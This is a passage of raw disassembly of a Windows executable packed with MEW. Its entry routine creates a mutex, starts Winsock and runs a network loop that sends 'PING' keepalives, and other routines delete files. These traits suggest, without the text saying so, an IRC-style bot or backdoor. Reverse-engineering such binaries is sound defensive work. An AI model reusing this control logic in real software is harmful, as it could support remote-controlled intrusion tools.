sub_415F69+63Fj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_415F69+70j ; sub_415F69+BDj ... pop edi leave retn 4 sub_415F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DE00 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41D9E8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp-18h], esp push 2 call dword_4170F4 ; SetErrorMode and dword ptr [ebp-4], 0 push dword_41DA2C push dword_41DA28 push 3B7h push dword_41DA24 push 0 push dword_41DA20 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_416B5E ; sprintf add esp, 20h and dword ptr [ebp-1128h], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: MEW:loc_4168BAj mov eax, [ebp-1128h] inc eax mov [ebp-1128h], eax loc_416875: ; CODE XREF: MEW:00416866j cmp dword ptr [ebp-1128h], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: MEW:0041687Cj push 3E8h call dword_41709C ; Sleep lea eax, [ebp-115Ch] push eax push 0 push 0 call dword_4170F8 ; CreateMutexA mov [ebp-12F0h], eax cmp dword ptr [ebp-12F0h], 0 jz short loc_4168BA call dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: MEW:004168ACj ; MEW:004168B6j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: MEW:004168B8j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DA20 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DA20 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DA20 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41EC00, eax call sub_410422 mov dword_41EC04, eax call sub_410422 mov dword_41EC08, eax call sub_410422 mov dword_41EC0C, eax push 104h lea eax, [ebp-1120h] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DE00 push offset dword_41EAFC call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: MEW:00416949j lea eax, [ebp-1120h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-12F4h], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: MEW:loc_4169DFj mov eax, [ebp-12F4h] dec eax mov [ebp-12F4h], eax loc_416983: ; CODE XREF: MEW:00416974j cmp dword ptr [ebp-12F4h], 0 jnz short loc_41699F push offset byte_41DE00 push offset dword_41EAFC call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: MEW:0041698Aj mov eax, [ebp-12F4h] movsx eax, byte ptr [ebp+eax-1121h] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp-12F4h] lea eax, [ebp+eax-1120h] push eax push offset dword_41EAFC call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EAFC push offset dword_41EC10 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: MEW:004169B0j jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: MEW:0041695Cj ; MEW:0041699Dj ... call sub_406E8E lea eax, [ebp-12ECh] push eax push 202h call dword_417264 ; WSAStartup loc_4169F8: ; CODE XREF: MEW:00416A43j ; MEW:00416AA7j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and dword ptr [ebp-101Ch], 0 loc_416A19: ; CODE XREF: MEW:00416AE2j mov dword ptr [ebp-4], 1 loc_416A20: ; CODE XREF: MEW:loc_416A6Fj ; MEW:00416AC0j push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp dword ptr [ebp-101Ch], 19h jnz short loc_416A45 and dword ptr [ebp-4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: MEW:00416A3Dj cmp dword ptr [ebp-101Ch], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: MEW:00416A4Cj mov eax, [ebp-101Ch] inc eax mov [ebp-101Ch], eax loc_416A6F: ; CODE XREF: MEW:00416A60j jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: MEW:00416A34j push 1000h lea eax, [ebp-1018h] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: MEW:00416A98j and dword ptr [ebp-4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: MEW:00416AA1j and dword ptr [ebp-101Ch], 0 lea eax, [ebp-1018h] push eax call sub_40E943 pop ecx jmp loc_416A20 ; --------------------------------------------------------------------------- loc_416AC5: ; DATA XREF: MEW:004172A8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_416ADB: ; DATA XREF: MEW:004172ACo mov esp, [ebp-18h] and dword ptr [ebp-4], 0 jmp loc_416A19 ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh cmp dword_41DE08, 0 jz short loc_416B1E push offset dword_41DD20 push offset dword_41DA80 call sub_40D4AB pop ecx pop ecx loc_416B1E: ; CODE XREF: MEW:00416B0Bj call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; sub_4020C2+62p ... jmp dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: sub_401244+85p ; sub_4017AA+22p ... jmp dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: sub_401244+25p ; sub_401244+4DEp ... jmp dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: sub_401244+1Ap ; sub_401981+18p ... jmp dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; sub_4055E5+231p ... jmp dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: sub_401981+145p ; sub_401981+158p ... jmp dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp ; sub_4020C2+1A6p ... jmp dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: sub_401E38+179p ; sub_402698+24Cp ... jmp dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp ; sub_401E38+262p ... jmp dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: sub_401E38+42p ; sub_4020C2+159p ... jmp dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p ; sub_41102F+94p ... jmp dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: sub_4020C2+198p ; sub_4020C2+1BCp ... jmp dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; sub_4083AD+3DFp ... jmp dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p ; MEW:00416B26p jmp dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao ; sub_4094E6+Ao ... jmp dword_41715C sub_416DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p ... jmp dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; sub_409DD0+13Bp jmp dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: MEW:00416FE2j jmp dword_417124 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_414EF4+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp ; sub_414EF4+1E2p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416EAF retn 4 sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4E proc near ; CODE XREF: sub_414EF4+134p ; sub_414EF4+2D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_41DDA0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp+var_4] push eax push 0 call dword_4171C8 test eax, eax jz short loc_416EA0 and [ebp+var_4], 0 loc_416EA0: ; CODE XREF: sub_416E4E+Dj ; sub_416E4E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_416EAF leave retn 0Ch sub_416E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: sub_416E40+6p ; sub_416E4E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; =============== S U B R O U T I N E ======================================= sub_416F05 proc near ; DATA XREF: MEW:off_4172B4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416F4E test [esp+4+arg_0], 1 jz short loc_416F1B push esi call sub_416DCC pop ecx loc_416F1B: ; CODE XREF: sub_416F05+Dj mov eax, esi pop esi retn 4 sub_416F05 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4172B4 jz short loc_416F48 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416F48: ; CODE XREF: MEW:00416F40j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416F4E proc near ; CODE XREF: sub_416F05+3p ; DATA XREF: MEW:004173BCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4172B4 test eax, eax jz short loc_416F64 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416F64: ; CODE XREF: sub_416F4E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_416F72 push esi call dword_4170B0 ; LocalFree loc_416F72: ; CODE XREF: sub_416F4E+1Bj pop esi retn sub_416F4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: sub_401244+120p ; sub_406E8E+DAp ... jmp dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: sub_4020C2+113p ; sub_4038BA+22Fp ... jmp dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: sub_402A32+CCp ; sub_402A32+2B9p ... jmp dword_417118 sub_416F80 endp ; =============== S U B R O U T I N E ======================================= sub_416F86 proc near ; DATA XREF: MEW:off_4172BCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416FA8 test [esp+4+arg_0], 1 jz short loc_416F9C push esi call sub_416DCC pop ecx loc_416F9C: ; CODE XREF: sub_416F86+Dj mov eax, esi pop esi retn 4 sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp dword_41711C sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA8 proc near ; CODE XREF: sub_416F86+3p jmp dword_417120 sub_416FA8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A00h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FBC: ; DATA 